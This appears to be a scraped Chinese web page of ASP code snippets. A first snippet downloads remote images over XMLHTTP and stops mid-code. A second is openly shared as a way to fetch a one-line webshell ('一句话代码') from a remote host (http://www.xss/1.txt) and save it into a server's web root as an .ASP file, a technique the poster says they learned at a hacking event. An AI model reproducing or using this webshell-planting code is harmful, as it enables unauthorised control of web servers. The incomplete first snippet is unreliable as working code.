例2
二进制方式下载远程图片、文件,并保存到本地:
代码如下 | 复制代码 |
Private Function GetPicture(X) '获取图片数据 Set xml = Server.CreateObject("Microsoft.xmlhttp") xml.Open "GET", X, False xml.Send GetPicture = xml.ResponseBody Set xml=Nothing End Function Dim Tmp Set ADO = Server.CreateObject("ADODB.Stream") Response.ContentType = "image/jpeg" |
asp中通过xmlhttp下载一句话代码,需要的朋友可以参考下
分享一下
在3est活动中学习的godlong的
代码如下:
代码如下 | 复制代码 |
<% Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://www.xss/1.txt",0 '下载文件的地址 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "E:WWWROOTfuck1.ASP",2 %> |
时间: 2024-10-27 10:54:38